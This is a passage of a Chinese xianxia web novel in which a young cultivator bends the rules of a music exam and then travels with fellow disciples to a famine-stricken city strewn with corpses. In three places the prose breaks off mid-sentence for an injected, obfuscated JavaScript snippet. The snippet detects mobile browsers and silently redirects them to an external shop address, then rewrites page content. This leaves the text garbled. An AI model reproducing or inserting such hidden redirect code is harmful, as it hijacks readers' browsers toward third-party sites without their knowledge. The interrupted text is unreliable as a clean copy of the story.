台上那人脖间明晃晃挂了一串银饰,额发上盘着蛇样银饰,两侧耳后的长发被编成了两条麻花辫,很显然,她也是一位女弟子。 待雾气稍散,公仪岭看清楚容貌,就认出来她是青花谷的哪位了。 青花谷虽也算得极负盛名的仙家,却因为毒修缘故,时常被人诟病是三流的阴险手段,许多人都不大瞧得上他们。 而台上这位孟妙意,乃是宗主幼女,年轻气盛。她本来一心想要在仙考大展身手,给老爹长点面子,谁知这下却被公仪岭打断,自然难掩怒容。 公仪岭心知过失在己,于是站起身好声好气地道了一声歉:“孟姑娘,真是对不住了。” 孟妙意见他道歉道得还算麻溜,脸色稍霁,但还是坚持道:“你断了我弹的一曲,害得我白费了一年准备,按照规矩,也该取消了你的成绩才行!” 16. 乐动太一池 倏然一回曲(三) 这人怎得这样得理不饶人? 公仪岭奇怪道:“你请示长老,再重新弹一遍,不就好了?” 藏元长老扫了公仪岭一眼,语气中颇有些恨铁不成钢:“看来,第一日在三化殿上善承长老念的仙考规则,你是半点都没听进去。” 公仪岭还欲再说,却被公仪岚拉住,对他轻轻摇头。 齐元白也在旁边说道:“阿岭,你以前考完走得都早,不知道乐考向来如此,若是因人出了岔子,不光弹奏的人坏了成绩不说,出问题的人也会被取消了成绩,为的就是一个公允。” 公仪岭不服,低声道:“这算哪门子的公允。” 承悦道:“大家怎么会想看见别人有第二次机会?若是以后一弹错就串通了别人捣乱,好重新来过,那仙考怕是就乱了套了。” 孟妙意见他不跟自己说,反倒跟旁边两人窃窃私语起来,心生不满,质问道:“怎么,难道你敢做不敢认吗?” “这……大家都辛苦一年了,你又何必这样咄咄逼人呢?有什么问题,大家都好商量嘛!” 藏元长老见公仪岭说的这话,又是一阵摇头叹息,不打算再与他扯皮,就要开口一锤定音。 “且慢。” 正在此时,公仪岚倏然起身,对着藏元长老行了一礼,道:“此事是云灵山失敬在先,自然会认。只是舍弟心性如此,乃是我管束不严之过,若是当真要罚他,理应由兄长替过。” 公仪岭惊得转过头去:“大哥!”当即也道:“既是我不小心的,要取消也是取消我的成绩,我认罚就是!” 公仪岚喝了一声:“阿岭!” 公仪岭从没见过大哥这样严肃,顿时怔在原地。 藏元长老见他们二人抢着领罚的样子,也没见过这样的场面,一时没下决断:“这……” 一旁孟妙意听他们说完,轻哼了一声道:“公仪公子,你若是执意如此,我倒是没什么意见。说来,我也很想听听你们家二公子的二胡拉得如何。” 说到底,这条规矩设立也只是为了平了另一方的不满。眼下孟妙意都开口了,藏元长老自是不好再驳了她的意思,徒生事端。 于是,藏元长老看了孟妙意一眼,道:“那便如此吧,想来等了这么久,你们等得也躁了。公仪岭,你上来。” 公仪岭沉默不语,见大哥躬身行礼领罚,懊恼不已,捡起地上的二胡,走到高台之上,对孟妙意说话声音也冷下去几分:“我一人之过,孟姑娘又何必迁怒旁人?” 孟妙意哼笑道:“此前,我就听闻二公子一把二胡拉得极好。想着这古琴听腻了,大家也该听听别的了。也不知一年下来,二公子可有所精进?” 公仪岭低笑一声,微微挑眉:“这一年来我有没有精进,过一会你就知道了。” 他说过一会就知道了,果真是过一会孟妙意就知道了。 公仪岭自台上坐定,架势一展,当即就奏起曲子来,胡音悠长,如泣如诉,没一会功底尽显,只不过…… “你拉的这是什么曲子?!” 孟妙意又惊又怒,他刚拉了没一段,就忍不住出声质疑。 公仪岭压根没理她说的话,依旧是不疾不徐地继续往下拉曲子。 “这是……” 台下的众弟子也是在底下哗然一片,等多听了几段后,也纷纷认了出来,又压低了声互相开始窃窃私语:“厉害,厉害,胆子也是够大的。” “佩服!反正我是不敢。” “你们看藏元长老和孟妙意的脸色不妙啊。” “规则里有这条吗?有吗?没有吧?” 承悦也是惊了:“他这是做什么?还想节外生枝吗?” 齐元白凝神听了片刻,这才不确定道:“这是……倒背如流?”说着就探了探身子,想去找这方面造诣最高的纪银灵确认一番。 齐元白几番挥手,总算是让纪银灵侧目瞥了他一眼,不过她转瞬就收回了视线,显然是在认真听曲子。 齐元白见她这个表情,当即肯定道:“肯定就是啦!”。 公仪岚也是颇感意外,沉默良久后,才神色无奈道:“真有他的。” 正如下面众人想的那样,公仪岭竟然当真将这首曲子倒着拉了一遍! 直到回到了第一个音,他这才收了架势,朝两人行了一礼,又面向下面众人说道:“怎么样?我这一曲不错吧?” 当然不错了,大家心想。听了一天一模一样的曲子,快结束了杀出来这么一下,底下众人顿时灵台清明神清气爽起来,刚泛起来的困意都被二胡拉没了。 于是,还真有些性子活泼、爱起哄的弟子鼓了鼓掌,喊了一声:“好!” 公仪岭面带笑意,回过身对长老行了一礼,平静道:“藏元长老,说起来我奏的也是同一首曲子,算不得坏了规矩吧?” 藏元长老面色不是很好看。 这能说什么?公仪岭此举,算是钻了规则的空子,但也拿他没什么办法啊,要是继续与他计较这个规则,丢了抱元门的面子不说,还让云灵山下不来台。 沉默许久后,藏元长老还是点头,打算先将人打发下去再说。 “确实算不得。既然你奏过一曲,便可以先下去了。” “且慢。” 公仪岭不为所动,再次看向孟妙意道:“若是我这般拉一曲,想来长老们也不好评断,孟姑娘你也定然是不服气的。” 孟妙意心中所想被猜中,冷声问道:“你想如何?” 公仪岭却是慢悠悠放下手中二胡,掌心一翻,手中顿时多出了一把古琴。 他指尖触上琴弦,笑道:“你以为呢?” 说罢,手指一勾,琴声如流水般在指尖激荡,微风顿起,十分配合地将这明媚悦耳的琴声送到了台下。 曲中平缓处琴音流转,犹如天籁,激昂处又如山高水长,瀑布自九天倾泻而下。众人看着公仪岭修竹青衣,面如冠玉,于高台抚琴的仙人之姿,都觉得与他方才拉二胡时候简直判若两人。 齐元白咂舌道:“平常光看气质,阿岭倒是与岚兄没半点相似之处,十分好分辨。现在他这抚琴的身姿气度,竟与你有八九分相像了。” 承悦震惊道:“要是师兄换身衣服,怕是连我都得错认呢!” 公仪岚唇边噙了几分笑意:“阿岭是我亲弟弟,与我自然是像的。” 众人只见那古琴模样与公仪岚手上那把一般无二,纷纷道:“嘿!这第二遍又正着弹了一曲……” “是证明自己正着弹也厉害吧?” “也真是个奇人了,古琴弹这么好,还重新学了个新的乐器。” “我看他是不忍心兄长一年努力付诸东流,这才用了古琴正着弹吧?” 公仪岭这一曲,与其他人奏的曲子比起来高下立见,弹得是水平尽显,即便是藏元长老也挑不出一点错误。 曲终,他收了最后一个音,站了起来,对那两位颔首行礼道:“藏元长老,孟姑娘,见笑了。” 孟妙意哼了一声,勉强道:“弹得不错。” 齐元白听到这话,在底下也是轻笑一声,道:“这么多年了,模样倒是没变,这大小姐脾气见长。” 藏元长老道:“后生可畏。只是这……” 不合规矩四个字还没出口,公仪岭就已经截了话头。 “长老,规则好像也没说不能换个乐器后正着弹一遍吧?”公仪岭也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429884|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道孟妙意脾气的,没有理会孟妙意,只是看向藏元长老道。 “……” 藏元长老轻咳一声,也没话了,最后也没有为难他,扶了扶额头,只想赶紧把这人打发下去:“你下去吧。” 公仪岭回了一句“是”,面上笑意不减,走下了台。 齐元白见他下来,嘿嘿笑着打趣了他两句,偷偷说道:“别看这三位长老德高望重的,私下里都小气得很!你信不信这一闹,他们回头肯定偷摸就把新规则就加上去了。” 公仪岭浑身舒畅,毫不迟疑就答:“信啊!改了又如何,反正这次闹都闹完了。” 排在他后面的也没剩下几个人了,等所有人都考核完,一旁的仙侍击了锣鼓,高声宣道:“乐考结束——” 等藏元长道了一声“散了吧”。众人皆是松了一口气,起身松了松筋骨,缓了缓坐麻了的腿,纷纷行礼告退。 公仪岭抬起头看着沉没在山间的太阳,心中有些歉疚,对公仪岚说道:“走吧,大哥。” 公仪岚却没觉得有什么,对他笑道:“后面几场考试,可不要再出岔子了。” 因着自己心中有愧,接下来剩余的考核项目里,公仪岭没再发生些其他状况,反倒是状态极佳,甚至在射艺三项考核中,以领先第二名十六只猎物的极大优势一举夺魁,令参加仙考的弟子们都震惊不已。 不过,即便是六项考核全部出来了,大家也都不敢松懈片刻,毕竟谁也不知三位长老会给出什么样的加试内容。 也有人偷偷去问了司月吟,却还是一无所获。 司月吟十分郑重地回答了每个来问她的人:“我也是这考核中的一员,长老们并未告知我加试内容,还请诸位仙友静候消息。” 其他院子皆是氛围紧张,可公仪岭他们的院里显然是没有半点紧张氛围,所有人里面,也仅有公仪岚偶尔会出神地担忧加试,其余人压根就没把这事放在心上。 在加试内容出来前,几个人齐齐坐在院中惬意地煮了茶休息。 如此和谐的画面持续没一会儿,终止于齐元白不知从哪摸出来了牌,大家便一边喝茶一边开始打起了牌。 等司月吟进来的时候,看见的就是如此一番景象。 “大你!要不要?要不要?”公仪岭唰地一下从手中拍出两张,压在齐元白刚出的牌上,笑得猖狂。 齐元白难以置信:“这你也压?怎么射艺考核让了你浅出了一下风头就这么嚣张了?” 承悦无奈道:“二师兄指定是疯了。”说着也丢出两张牌。 公仪岚含笑,抽出手中的牌放在上面,道:“看来前几日下山收妖,让阿岭长进不少,这次凭实力获胜,比我强出不少。” “嘿嘿。” 得了夸赞,公仪岭更是乐得不行:“说好了啊,谁输谁扫地啊!一整个院子!” 四个人正打得热闹,倒是承悦先一瞥眼瞧见司月吟进来,赶忙收了牌,悄悄捅了捅身旁的公仪岚,脸上挂了笑脸:“司姑娘,可是又有什么消息了?” 齐元白见状心中大喜,立刻糊了牌桌,,连声叫道:“司姑娘你来肯定是要事在身,我们现在有空得很!” 公仪岭怎么会看不出他的心思,当即就喊道:“齐元白你个说话不算数的!就这你还天天上街去给人算命呢!玩不起了还是不是?……唔唔唔!” 齐元白果断捂住了他的嘴,直接对司月吟道:“别理他!司姑娘但说无妨。” 公仪岚也站起身来:“司姑娘前来,所为何事?” 司月吟也不含糊,直截了当地说道:“加试内容出来了,三位长老让我来告诉你们四位,申时前往三化殿,宣布最后一项加试考核内容。” 17. 乐动太一池 倏然一回曲(四) 公仪岭手中还攥着没出完的牌,丝毫没有放下的打算,一听说时辰还早,觉得还能再来上一把。 他对司月吟热情道:“申时?那还有半个时辰才到,司姑娘要不要跟我们一块打一把再走?” “不必。” 司月吟微笑拒绝了他的好意:“还有紫阳宗院子里的人没通知到,我现在就过去了,还劳烦你们四人尽快前去,勿要迟了。” 这就奇了,刚开始三化殿的时候,长老说的还是大家都得参加仙考加试,可司月吟这话,却是单单指明了让他们四个人前去。 公仪岭顿感疑惑:“就我们四个吗?院中其他弟子不去?” 司月吟道:“长老说,只需要本次仙考前十三甲前去。” 这下,她说的就更明白了。 四人面面相觑,只知自己这回是进了前十三甲,却还是不知那三位长老是什么用意。 片刻后,公仪岭想得倒是明白,道:“何必现在猜测他们三位长老是什么用意?半个时辰后我们去三化殿,一问便知。” 余下三人一听有理,再没什么疑问。司月吟通知到位后没有其他事情,也行礼告辞。公仪岚颔首道:“我们会按时到三化殿的,司姑娘慢走。” 司月吟轻声应下,刚走了两步,回头看了一眼牌桌,竟是叹了口气又折了回来,不放心地叮嘱道:“你们娱乐便好,可千万不要……” 要说这方面,他们三人决计不是公仪岭的对手,齐元白本就有心耍赖不认,这下听到司月吟这般劝阻,更是有了借口,心中大喜。 齐元白飞速收起散落一地的牌,肯定道:“司姑娘你放心,只是娱乐!” 如此一来,公仪岭也没能如愿以偿地再来一把,几个人简单收拾了一下茶具和桌面,便出门往三化殿去了。 “阿岭,你说长老们不会叫我们几个一对一吧?”待四人走到那座金殿,齐元白才犹豫道,“我要真跟你打的话,可打不过你。” “不会吧。” 要真这样的话,别说他们符修,跟他们近身打,即便是法修也不敢说自己一定能赢。公仪岭觉得可能性不大:“仙考为的就是个公平竞争,真打起来也不会这样安排。” 承悦拍了拍他的肩,笑道:“别担心啦,齐兄,真跟二师兄打起来,叫他先让你三招!” 殿外已经等候了几个紫阳宗的人,公仪岭远远瞧见了燕蓉的身影,正想过去与她打打招呼,突然瞧见他们紫阳宗那几个人中还混入了一个玄色衣裙的姑娘,十分眼熟。 公仪岭看着那女子背影,侧头问齐元白:“清鸢这是……又去找燕婉了?” “昨夜她便去了。” 齐元白并非独子,底下还有个名唤齐清鸢的亲妹妹。公仪岭虽与她交集不多,却也知道齐元白对这个妹妹极为纵容,将她护得很好。 从前他去太微山游学的时候,常见他们兄妹两人在家中对弈。齐清鸢棋力不如兄长,便时时哄他两句,叫齐元白倒贴她七目才肯和他下,这样的要求,齐元白回回应下,便是自己因此输了也无妨。 偶有几次,齐清鸢输了棋,便以此为借口跑去紫阳宗找燕婉,在那边住上几日,才肯回来。 齐元白对此早已习以为常:“我们住的地方离紫阳宗甚远,她们难得一叙,让清鸢多待几日也没关系。” 公仪岭心里想着御魔幡的事情,是该找个机会跟燕蓉问上一问。便道:“来抱元门这几日,我也没怎么遇上过紫阳宗的人。” 承悦诚实道:“师兄你天天也宅在院里不出门,能遇上才怪了。” 公仪岭道:“我不去,他们也不来遛个弯嘛!” 走到了紫阳宗旁边,两位女子叽叽喳喳的讨论声不绝于耳。 刚听了没一会儿,公仪岭已经听齐清鸢扯着燕婉从哪种新符纸用起来顺手,聊到了城中哪家铺子新出了什么颜色的胭脂了。 公仪岭听得直犯晕,忍不住对齐元白道:“城中胭脂铺每月新品没有几百也有几十,哪里记得过来?想不到她们竟然能分清那么多品类......” 齐元白低声笑道:“阿岭,这你就不懂了。姑娘家都喜欢这个。何况清鸢一下山就喜欢去逛民间的市集,买来的东西房间里都快堆不下了,当然能分得清楚。” 公仪岭默然无语。 城中胭脂香料卖多少价格,他自是不清楚,但光听别人说说,也知这些东西价值不菲,齐元白说的就好像给妹妹买胭脂跟买菜似的,这要是说出去,足以让其他宗门女修羡慕得不行啊。 公仪岭对大哥道:“他们卖符纸的果然有钱,要是爹娘生了妹妹,怕是我们得多接几个除妖的活干,才能养得起她了。” 公仪岚偏头认真思考了一番,笑道:“看样子,阿岭你也能当个好哥哥呢。” 在门口差不多等了有一炷香的时间,所有人都到得差不多了,三化殿里面终于出来了一个仙侍,朗声道:“诸位仙僚,长老有请。” 终于等到了。 公仪岭跟着大哥步入了三化殿,在位子上站定,在四周环顾了一圈。 大大小小仙家派来的人没有一千也有百余人,可如今整整齐齐两排七列,竟是只剩下了十四人。 六艺考完没多久就放榜了,只不过公仪岭一直懒得出门去看,所以也不太清楚前十三甲里面究竟有哪些人,不过草草一眼,倒是认出了许多熟人。 没多久,上面的善承长老就开口:“想来大家都发现了,本次加试我们择了本次仙考的前十三甲前来参加,算上月吟,一共十四位弟子。” 恰好,这次仙考原本的第十四名,乃是紫阳宗的一位师弟。 听到善承长老直接加上了司月吟,燕家的少宗主燕渊不满道:“善承长老,这第十四名原本该是我宗门的师弟,我道是怎么分明说是十四个人,却没通知他过来,原来是你们三位直接给自家直系弟子开后门了?” 这话换旁人也就只敢背后说说,偏生燕渊此人性子耿直,向来如此,在三化殿上当面就质问了,也不管会不会因此生了抱元门和紫阳宗的嫌隙。 燕婉面色微变,在旁轻声呵斥道:“阿渊,不可对长老无礼!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429885|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面三位长老听到此等控诉,倒是脸色不改,仿若在预料之中。 藏元长老淡声开口:“燕少宗主,你若对此安排有疑问,也可让你的师弟与月吟交过手一次,若是你师弟能胜过月吟,这名额,换成他也无妨。” 燕渊被长姐一斥,虽然语气缓和了点,却依旧还有些不服气,得了藏元长老的承诺,立即转而对司月吟道:“如此自然最好,等离开三化殿后,我自会安排师弟,向司姑娘讨教。” 燕渊的性子,在场众人多少都知道些,也都不太会有人搭理他。大家视线移向司月吟,想看看她如何应对,却见司月吟只平静答了一句:“好。”不见丝毫火药味,倒也觉得没劲,全都收回了视线,认真听善承长老讲话去了。 善承长老继续道:“各位都是通过仙考大会,从不同宗门选拔出来的佼佼者,也正是因为如此,各宗门才对你们寄予厚望。” “想必大家在这几日都有猜测,为何历年仙考都不设加试,今年却是头一回,以及,这加试考核,究竟是什么。” “而我们在与各宗主商议后,均认为大家虽然六艺俱佳,却极少下山独立处理各地灾祸,若是长此以往,如何能够堪当大任?故而,今次的加试便是出于这样的考量才设下的。” 善承长老对另外边的一位长老道:“玄微长老,你来跟他们说现在的情况吧。” 玄微长老点了点头,问众人道:“你们可知,冀阳城闹了饥荒?” 公仪岭心中疑惑,见众人摇头,便也跟着大家道:“未曾听说。” 燕渊诧异道:“玄微长老,冀阳城虽在西边,远离皇城,但也不至于到了饥荒的地步吧?” 玄微长老闻言,也终于是忍不了这位少宗主了:“平常你们读书读得一般,修炼修得一般也就罢了,竟然当真一点时事不知?每日闲着都在干什么,打牌吗?!竟没看出半分心怀天下!这次历练要是做不好就别回来了!” 藏元长老斥责道:“你们是来修炼为天下人除害的,不是来当少爷小姐的!考核一改题目就怨声载道,城中百姓民不聊生却一概不知?” 就连善承长老也是长叹一声:“你们是我带过最差的一届修仙弟子。” 公仪岭心中还没庆幸燕渊当了这出头鸟多久,又听到玄微长老扯到打牌的时候,就知是在借机敲打他们几个,便也哑了声,赶紧低头装死。 听这一通骂完,底下众人便知情况定然不容乐观,顿时噤若寒蝉,不敢说话了。 等到几位长老将情况原原本本说完,众人也都明白了过来。 原来,冀阳城一个月前,就已经有了这样的前兆,民众上奏无门,百般无奈下,那冀阳城的城主只能向抱元门请愿,告知了此事,求他们派修士下来看看能否解决。 三位长老商议后,这才决定临时设个加试项,算是给他们一个考题。o “这次考核内容,便是派你们前去冀阳城了解民情,解决百姓的生计问题。”玄微长老严肃道,“你们十四人由抽签组成两支队伍,考核评判的标准便是你们在此次加试中的表现。” 18. 欲救无门路 怎安得其法(一) 大会结束,那些不服司月吟的仙僚一个个与她比试完,也全都不吱声了。半日后,他们十四人简单收拾了一下行囊,就出发了。 说是考题,公仪岭觉得这更像是派了个任务给他们。 十四个人根据抽签,整整齐齐被拆成了两支队伍。这一次公仪岭的手气不错,抽到的队里都是认识的人。 在公仪岭的记忆里,冀阳城位于抱元门的西边,那里虽然称不上富饶的绿洲之地,却也不至于让里面的城民遭受饥荒之苦。 在出发前,公仪岭也曾猜测是不是因为粮食歉收导致饥荒,可是一行人一路向西,却发觉越是靠近冀阳,似乎就与太阳更近一分,脚下的土地也越干一分。 他来到冀阳城之前,想象过许多场景,以及思考如何去帮助冀阳城的百姓,然而,真正到达这里的时候,才发现自己想象中的场景,丝毫不如亲眼所见来得惨烈。 说起来,他们一群人,大多都是在人杰地灵的仙山上长大的,即便是下山,又何尝来过这样的地方? 好像有一道无形的结界将此地隔绝开来一般,从他们跨进这地界开始,方圆百里内四周寸草不生,脚下的土地横七竖八地龟裂开来,形成一块一块坚硬的地块。 一路过来,公仪岭偶尔得见几条沟壑,本以为里面至少还会留下点水源,走近一看,才发现竟然是早已经干旱见底的河道,哪里还有留存一滴水。 司月吟喃喃道:“还没入冀阳城,这周边竟已经到了如此严重的地步了……” 她自幼在屋顶琉璃金瓦、地上水晶地砖的抱元门长大,如此场景,冲击力极大。 而她的师兄司青筠,似乎已经被头顶的烈日晒得脱水,抿了几口水囊润一润干裂的嘴唇后,艰难说道:“如此景象,田里庄稼还怎么生长?难怪百姓会求助于我们了。” “冀阳城,很久没有下雨了吗?” 公仪岭呼吸着满是风沙、灼烧难耐的空气,想要抬头望天,眼睛却被太阳刺得睁不开眼。 齐元白拿着一片衣摆努力扇风,一边擦汗一边点头道:“这边原先便不算是雨水充盈的地带,几个月不下一场雨也是常有的事情,依靠着每年的存粮和皇城的补给,可以勉强度日。” “勉强度日?” 话音刚落,公仪岭忽然感觉踩到了什么东西,移开脚努力睁开眼,却发现竟然是从地下露出一截的森森白骨。 他连忙叫停众人:“等一等!” 公仪岚走在前面,听见他出声,赶忙折了回来:“怎么了?” 他视线下移,立刻看见了公仪岭脚下的东西。 是一节白骨。 公仪岭缓缓移开自己的脚,蹲下努力扒地上那些坚硬的土块,费了半天劲,可算勉强将半截尸骨刨了出来:“只能挖出这么多了。” 公仪岚凝眉道:“这个人,已经死了很久了。” 可是,这旱灾和饥荒,发生还没超过两个月,仅仅两个月不到的时间,人又怎么能只剩下白骨呢? 公仪岭下意识觉得不对,指尖细细摸索着白骨周围的土壤。 这附近的土都是同一种土,即便是干裂开来,也不该是这样颜色有深有浅的样子。 “元白。” 公仪岭突然开口,将齐元白招呼了过来:“你看看,这些像不像血渗进去后干涸的样子?” 齐元白过来仔细瞧了瞧地面,从怀中取了一张符纸,写写画画一番,不知默念了什么,将符纸拍到地面上,不一会儿,那一整张符纸就染上了鲜红。 公仪岭也知道这符纸是做什么用途的,只要此符纸变红,就说明这里曾流过大片的血。 看到这结果,齐元白的面色也不甚好看,一挥手将地上的符纸燃起,化为灰烬。 他道:“若只是大旱饥荒这两个原因的话,他怎么会鲜血流干而亡?” “不……我想,应该就是这两个原因。” 一直没怎么说话的孟妙意犹豫道:“这个人,好像是被吃干了丢在这里的。” 孟妙意此话一出,众人的表情瞬间变了变。 公仪岭第一反应,以为这冀阳城内是出了什么妖物,才会将人吃了,可他环顾一圈,看着周围人的表情,才意识到并非如此,等他细细再想,便是寒毛倒竖,鸡皮疙瘩起了一身。 燕蓉喃喃道:“这……究竟是到了怎样的境地。” “可是,按理来说,即便是今年庄稼收成不好,官府都是会有存粮的,怎么会严重成这样?”司月吟呼出一口气,质疑道,“怕不是那些当官的层层剥削下来,才让百姓吃不上存粮吧!” “待进城后,是应该调查一下此事。”公仪岚沉声道。 公仪岭遥遥望向冀阳城的方向:“外面都变成这样了,里面还不知道变成什么样了,冀阳城的情况,竟然比我想象的还要严重。” 这时,司青筠忽然朝西方一指:“诸位,看那边!” 公仪岭站起身,朝他指的地方望去,待看清后,顿时愣在原地。 离他们不过百米远,地面上竟是密密麻麻数不清躺着有多少人,不,或许他们已经不能说是人了。 公仪岭一眼扫过去,竟是找不出几具完整的尸身,不是缺手缺脚就是面目全非。唯一的共同点是,看得出他们死前都虚脱瘦弱得只剩下了薄薄一层皮,勉强包裹住了他们的骨架,前胸一排排肋骨突出,十分骇人。 饿殍遍地,说是人间地狱也不为过。 公仪岭这才知道,玄微长老口中的民不聊生,究竟是如何的民不聊生,想要张口,却发现自己根本无力出声,像大漠中一具被风干了的雕塑般哑在原地。 其他几人看到这场景也是难掩震惊,每个人如鲠在喉难受得不行,当即沉默了下来。 不知过去多久,公仪岚第一个打破沉默,道:“他们……是想去找方才的河床,这才倒在半途中的吧。” 公仪岭回想着那条干旱河床,当时,他甚至看到了河床旁几条窄窄的小渠,想来定是有人想挖出水渠将水引入庄稼地,只是从长度与走向看,这小渠不过百米便拦腰折断,并没有修成功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429886|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这些百姓是抱着怎样最后的期望出城去寻找水源,奢望获得最后一线生机的? “先过去看看还有没有活着的人,能救一个是一个吧。”司月吟果断说道,已经开始从行囊里取出了水粮,以备不时之需。 大家点了点头,便打算分散开来检查,节省时间。 在这环境下,他多耽误一分钟,也许就有一个人少了一分生存的希望。公仪岭一连检查了十几个人,满怀希冀翻开后探了探,却是一点呼吸都探不到。 他抬头看向众人,回应他的却也是大家无声的摇头。 他在心中默然算着尸身数量,那数量一直在增加,直到他计算到第四十二具的时候,听见不远处的燕蓉忽然道:“你们来看。” 公仪岭以为是燕蓉发现了活人,忙不迭就起身赶了过去,却见燕蓉不知被什么吸引去了注意,只是凝视着地面。 “你发现什么了?”公仪岭顺着她的目光看向那片土地。 燕蓉伸手抓了些散落的黄土,微微皱眉:“这边的土,怎么都碎成这个样子了?” 公仪岭看向尸身旁的土地,果然如燕蓉所说,上面的土块明显有坑坑洼洼、参差不齐的地方。 “会不会是他们没力气了,倒在地上靠抓住土块间的裂缝爬行前进?”齐元白猜测道。 公仪岭看了看四周,并没有看见借力爬行的痕迹,否定道:“那样这土地上肯定会有爬行的痕迹,但他身边完全没有。” “不对。” 燕蓉也摇头,俯身将尸身翻看检查了一番:“他的指甲、唇边都有黄土渣子的痕迹。” 齐元白反应过来他的言下之意,探出手按了按尸身的腹部,抬起头惊道:“他的四肢干瘦如柴,胸骨肋骨清晰可见,可唯独这腹部涨得好似酒足饭饱……” 这话一出,四周的空气都仿佛凝固了一般,众人只觉胸口阵阵闷堵,几乎喘不过气来,而像孟妙意这样年岁尚轻的,登时红了眼眶。 公仪岭双手微微颤抖,猛然起身又接连着翻看起其他尸身,一具又一具,然而,无论他内心如何期望着也许还有人活着,明晃晃的事实却像是在无情嘲笑着他。 他们来晚了,这些人都死了。 一共四百七十八具尸身,竟然没有一个活口。 众人本想找个地方将这些尸体葬了,无奈土质坚硬,难以挖出合适的坑,只得先念了往生咒安魂,决定等事情解决后,再想办法把这些尸身带回冀阳城安葬。 只是黄沙漫漫,他们走了极远,也没看见半点城门的影子。 公仪岭感觉自己的喉咙如同火烧,忍不住问众人:“咱们走的方向对吗?到底还有多久才能到冀阳城?” 手上虽没有地图,但众人也十分肯定:“冀阳城就是在这个方向,错不了。” 齐元白安慰他:“阿岭,这些尸体既然在这里,想必此处应该离城门已经不远了。” 公仪岚凝视西边,也道:“继续朝着这个方向走,出不了五里,应该就能看见城门了。” 19. 欲救无门路 怎安得其法(二) 听大哥这样说,公仪岭朝着这方向眺望了一番,却只见四周一片荒凉,风沙迷眼,除了满地的尸骨,四周根本看不到有其他东西。 太阳越升越高,毒辣的日光将脚下的黄土地烤得滚烫,每个人的脖颈上、背上全是黏腻的汗水,嗓子阵阵发干疼痛,身上也被晒得发红脱皮,整个人如同脱水的植物一样蔫了,完全打不起精神。 这样下去,也不是个办法啊! 若是换个旁的地方,何须他们费这么大力气徒步过来,司家的那两位随便画个传送阵,就能将他们直接送入城中。 结果,大约是长老们担心他们偷懒,早已在此地设下禁制,他们竟然没办法用传送阵。御剑飞行倒是能用,然而他们一行七个人,一共只有两把剑,想要带这么多人同行的话,多少有些强人所难了。 公仪岭犹豫片刻,还是取出归云剑,征求公仪岚的意见:“大哥,此地情况危急,要不我们两人先行御剑过去探探,其他人稍后跟上来。” 公仪岚稍加思索,立即点头,对司月吟他们道:“也好,那我与阿岭先行一步,若是有什么状况,就打个信号告知你们。” 眼下也没有其他法子了。众人皆道:“好。” 一番交代完,两人御剑离去。为了更好的查看地面上的情况,公仪岭还刻意压低了飞行的高度,想看得更清楚些。 如此飞行了一盏茶的时间,不出五里路,他们果然看见了冀阳城的城门。 公仪岭久居仙山,也知各地城门只有在夜间才会落钥,现下烈日当空,可那冀阳城城门却是紧紧闭合,就连城门口都有重兵把守,不许任何人进出。 城门紧闭,明显不是一个好兆头。 公仪岚凝重道:“看这情形,恐怕是冀阳城里面出了大问题啊。” 公仪岭目光落在城门口那些来回走动巡逻的士兵身上:“大哥,我们还是先去问问看那些守城的士兵吧,这城门,应该就是他们奉命关上的。” 他说完,自剑上纵身落地,微微扬手,归云剑便自行收回了剑鞘中,刚想进城,就听“铮”地一声,两个守城的士兵手中长矛相撞,给他拦下了。 一士兵厉声道:“什么人?” 公仪岚此时也收了剑过来,客客气气地对士兵道:“听闻冀阳有难,我们特受抱元门长老所托前来。” 两位士兵面面相觑:“城主有交代过这事吗?” “不知道啊。” “抱元门?是仙家来的人吗?” 公仪岭道:“此行我们一共十四人前来,难道另一队也没到吗?” 士兵摇头:“这几日,我们并没见过仙家的人前来。按照惯例,需得请示上级后,你们才能进去。” 去请示的那位士兵离开后,公仪岭顺口同他旁边的士兵打听了起来:“我们一路过来,见城外面尸骸遍野,不知城内现在又是如何情形?” “唉,别提了!” 士兵叹了一口气:“若是城内比城外好过,那些人又怎么会想闯出去,寻求一线生机。” “闯?” 公仪岭捕捉到这字眼,神色一凝,追问道:“难道在那些人出去之前,这城门已经关上了?” 公仪岚道:“若非战乱,各城城门白日里是不会关上的。” 士兵舔了舔干裂的唇,道:“最近的城离此处也有百里远,留在城内或许还能等到天家拨粮,可是让这些饥民出去的话,他们走不到半路早就饿死了。” 公仪岭问他:“那……拨的粮呢?” 